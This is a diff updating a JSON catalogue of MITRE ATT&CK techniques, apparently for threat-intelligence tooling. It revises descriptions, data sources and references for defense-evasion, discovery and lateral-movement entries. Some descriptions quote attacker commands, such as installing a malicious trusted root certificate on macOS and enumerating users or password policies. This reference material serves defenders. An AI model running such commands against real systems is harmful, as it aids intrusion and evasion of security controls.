+ ],
+ "mitre_data_sources": [
+ "Process: Process Creation",
+ "Windows Registry: Windows Registry Key Modification",
+ "Windows Registry: Windows Registry Key Creation",
+ "Command: Command Execution"
+ ],
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1562/009",
+ "https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234",
+ "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit",
+ "https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise",
+ "https://www.cybereason.com/blog/medusalocker-ransomware",
+ "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/",
+ "https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "28170e17-8384-415c-8486-2e6b294cb803",
+ "value": "Safe Mode Boot - T1562.009"
+ },
{
"description": "An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)\n\nCreating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.",
"meta": {
@@ -9336,6 +9519,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -9384,12 +9570,19 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1583/003",
- "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf"
+ "https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"related": [
@@ -9402,7 +9595,7 @@
"value": "Virtual Private Server - T1583.003"
},
{
- "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
+ "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)",
"meta": {
"external_id": "CAPEC-479",
"kill_chain": [
@@ -9447,12 +9640,19 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Internet Scan: Response Metadata",
+ "Internet Scan: Response Content"
+ ],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1584/003",
- "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
+ "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf",
+ "https://threatconnect.com/blog/infrastructure-research-hunting/",
+ "https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation",
+ "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
]
},
"related": [
@@ -9465,7 +9665,7 @@
"value": "Virtual Private Server - T1584.003"
},
{
- "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
+ "description": "Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.\n\nAdversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)\n\nBenign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)\n\nAdversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)",
"meta": {
"external_id": "T1497.003",
"kill_chain": [
@@ -9484,6 +9684,11 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1497/003",
+ "https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc",
+ "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/",
+ "https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique",
+ "https://www.joesecurity.org/blog/3660886847485093803",
+ "https://www.joesecurity.org/blog/498839998833561473",
"https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes"
]
},
@@ -9671,6 +9876,9 @@
"kill_chain": [
"mitre-attack:resource-development"
],
+ "mitre_data_sources": [
+ "Malware Repository: Malware Metadata"
+ ],
"mitre_platforms": [
"PRE"
],
@@ -9911,7 +10119,8 @@
"refs": [
"https://attack.mitre.org/techniques/T1564/006",
"https://www.mci.gov.sg/-/media/mcicorp/doc/report-of-the-coi-into-the-cyber-attack-on-singhealth-10-jan-2019.ashx",
- "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
+ "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/",
+ "https://embracethered.com/blog/posts/2020/shadowbunny-virtual-machine-red-teaming-technique/"
]
},
"related": [
@@ -10002,6 +10211,43 @@
"uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825",
"value": "Dynamic Linker Hijacking - T1574.006"
},
+ {
+ "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)",
+ "meta": {
+ "external_id": "T1564.008",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "File: File Modification",
+ "Command: Command Execution",
+ "Application Log: Application Log Content"
+ ],
+ "mitre_platforms": [
+ "Windows",
+ "Office 365",
+ "Linux",
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1564/008",
+ "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59",
+ "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac",
+ "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps",
+ "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps",
+ "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154",
+ "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8",
+ "type": "subtechnique-of"
+ }
+ ],
+ "uuid": "0cf55441-b176-4332-89e7-2c4c7799d0ff",
+ "value": "Email Hiding Rules - T1564.008"
+ },
{
"description": "An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)",
"meta": {
@@ -10079,7 +10325,7 @@
"value": "Identify business processes/tempo - T1280"
},
{
- "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nUtilities and commands that acquire this information include whoami. In Mac and Linux, the currently logged in user can be identified with w and who.",
+ "description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.",
"meta": {
"external_id": "CAPEC-577",
"kill_chain": [
@@ -10432,7 +10678,8 @@
"Command: Command Execution"
],
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1007",
@@ -10456,7 +10703,11 @@
"Network Share: Network Share Access"
],
"mitre_platforms": [
- "Windows"
+ "Windows",
+ "Office 365",
+ "SaaS",
+ "Linux",
+ "macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1080",
@@ -10514,25 +10765,28 @@
"value": "Peripheral Device Discovery - T1120"
},
{
- "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies.(Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)",
+ "description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).",
"meta": {
"external_id": "T1201",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
+ "User Account: User Account Metadata",
"Process: Process Creation",
"Command: Command Execution"
],
"mitre_platforms": [
"Windows",
"Linux",
- "macOS"
+ "macOS",
+ "IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1201",
"https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
- "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
+ "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines",
+ "https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html"
]
},
"uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
@@ -10761,7 +11015,7 @@
"value": "Credentials in Files - T1081"
},
{
- "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n\nSpecific to macOS, the bonjour protocol exists to discover additional Mac-based systems within the same broadcast domain.",
+ "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](https://attack.mitre.org/software/S0097) or net view using [Net](https://attack.mitre.org/software/S0039). Adversaries may also use local host files (ex: C:\\Windows\\System32\\Drivers\\etc\\hosts or /etc/hosts) in order to discover the hostname to IP address mappings of remote systems. \n",
"meta": {
"external_id": "CAPEC-292",
"kill_chain": [
@@ -10883,7 +11137,7 @@
"external_id": "T1024",
"refs": [
"https://attack.mitre.org/techniques/T1024",
- "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf",
+ "https://blog.f-secure.com/wp-content/uploads/2019/10/CosmicDuke.pdf",
"https://www.fidelissecurity.com/sites/default/files/FTA_1018_looking_at_the_sky_for_a_dark_comet.pdf",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
]
@@ -10947,6 +11201,38 @@
"uuid": "9ddc2534-e91c-4dab-a8f6-43dab81e8142",
"value": "Parent PID Spoofing - T1502"
},
+ {
+ "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk. Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)",
+ "meta": {
+ "external_id": "T1620",
+ "kill_chain": [
+ "mitre-attack:defense-evasion"
+ ],
+ "mitre_data_sources": [
+ "Script: Script Execution",
+ "Process: OS API Execution",
+ "Module: Module Load"
+ ],
+ "mitre_platforms": [
+ "macOS",
+ "Linux",
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/techniques/T1620",
+ "https://thewover.github.io/Introducing-Donut/",
+ "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/",
+ "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html",
+ "https://0x00sec.org/t/super-stealthy-droppers/3715",
+ "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique",
+ "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/",
+ "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/",
+ "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/"
+ ]
+ },
+ "uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
+ "value": "Reflective Code Loading - T1620"
+ },
{
"description": "Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCShadow may be used to create a rogue Domain Controller (DC). DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCShadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.\n\nRegistering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)\n\nThis technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1134/005) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog)",
"meta": {
@@ -11001,7 +11287,7 @@
"value": "Software Deployment Tools - T1072"
},
{
- "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS systemsetup command, but it requires administrative privileges.\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",
+ "description": "An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. [System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)",
"meta": {
"external_id": "CAPEC-312",
"kill_chain": [
@@ -11022,6 +11308,8 @@
"refs": [
"https://attack.mitre.org/techniques/T1082",
"https://capec.mitre.org/data/definitions/312.html",
+ "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/",
+ "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/",
"https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html",
"https://cloud.google.com/compute/docs/reference/rest/v1/instances",
"https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"
@@ -11210,7 +11498,7 @@
"value": "Proxy Through Victim - T1604"
},
{
- "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",
+ "description": "Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM). (Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS. (Citation: MSDN WMI) (Citation: FireEye WMI 2015)\n\nAn adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)",
"meta": {
"external_id": "T1047",
"kill_chain": [
@@ -11226,11 +11514,9 @@
],
"refs": [
"https://attack.mitre.org/techniques/T1047",
- "https://en.wikipedia.org/wiki/Server_Message_Block",
- "https://technet.microsoft.com/en-us/library/cc787851.aspx",
"https://msdn.microsoft.com/en-us/library/aa394582.aspx",
- "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf",
- "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
+ "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
+ "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
]
},
"uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
@@ -11408,6 +11694,8 @@
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
+ "Network Share: Network Share Access",
+ "Named Pipe: Named Pipe Metadata",
"Network Traffic: Network Traffic Flow",
"Network Traffic: Network Traffic Content",
"Command: Command Execution",
@@ -11448,7 +11736,7 @@
"value": "Suppress Application Icon - T1508"
},
{
- "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, as well as the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API) Similarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project(Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020) Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
+ "description": "An adversary may attempt to discover resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a DescribeInstances API within the Amazon EC2 API that can return information about one or more instances within an account, the ListBuckets API that returns a list of all buckets owned by the authenticated sender of the request, or the GetPublicAccessBlock API to retrieve access block configuration for a bucket (Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block). \nSimilarly, GCP's Cloud SDK CLI provides the gcloud compute instances list command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command az vm list lists details of virtual machines.(Citation: Microsoft AZ CLI)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as DescribeDBInstances to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
